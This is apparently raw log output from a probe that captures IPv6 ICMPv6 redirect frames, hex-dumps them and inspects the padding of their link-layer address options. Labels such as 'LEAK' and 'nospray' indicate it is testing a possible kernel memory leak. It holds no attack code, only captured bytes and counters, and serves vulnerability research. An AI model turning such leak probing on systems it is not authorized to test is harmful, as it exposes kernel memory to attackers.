  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 9: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 9 optlen 16
  option type=4 len=56 at 110
iter 10: non-redirect frame (62 bytes, ethertype 86dd icmp6 type 18) -- draining
    nr0000: 02 00 00 00 00 01 00 bd 45 e6 02 00 86 dd 60 00
    nr0010: 00 00 00 08 11 3f 20 01 0d b8 00 01 00 00 00 00
    nr0020: 00 00 00 00 00 02 20 01 0d b8 ca fe 00 00 00 00
    nr0030: 00 00 00 00 00 01 12 34 56 78 00 08 00 00
=== iter 10: REDIRECT captured, 166 bytes out of tap0
  0000: 02 00 de ad be ef 00 bd 45 e6 02 00 86 dd 60 00
  0010: 00 00 00 70 3a ff fe 80 00 00 00 00 00 00 02 bd
  0020: 45 ff fe e6 02 00 20 01 0d b8 00 01 00 00 00 00
  0030: 00 00 00 00 00 02 89 00 df 5b 00 00 00 00 fe 80
  0040: 00 00 00 00 00 00 00 00 00 00 00 42 00 01 20 01
  0050: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 02 02
  0060: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5 04 07
  0070: 00 00 00 00 00 00 60 00 00 00 00 08 11 3f 20 01
  0080: 0d b8 00 01 00 00 00 00 00 00 00 00 00 02 20 01
  0090: 0d b8 ca fe 00 00 00 00 00 00 00 00 00 01 12 34
  00a0: 56 78 00 08 00 00
iter 10: ND_REDIRECT (hlen=40, ip6len=152, frame=166)
  option type=2 len=16 at 94
  TLLA bytes: 02 00 00 00 00 01 00 00 b5 b5 b5 b5 b5 b5
PADINFO iter 10 optlen 16
  option type=4 len=56 at 110
SUMMARY: iterations=10 redirects=10 none=0
PROBE_DONE
+ echo LEAK_addrlen8_nospray_end
LEAK_addrlen8_nospray_end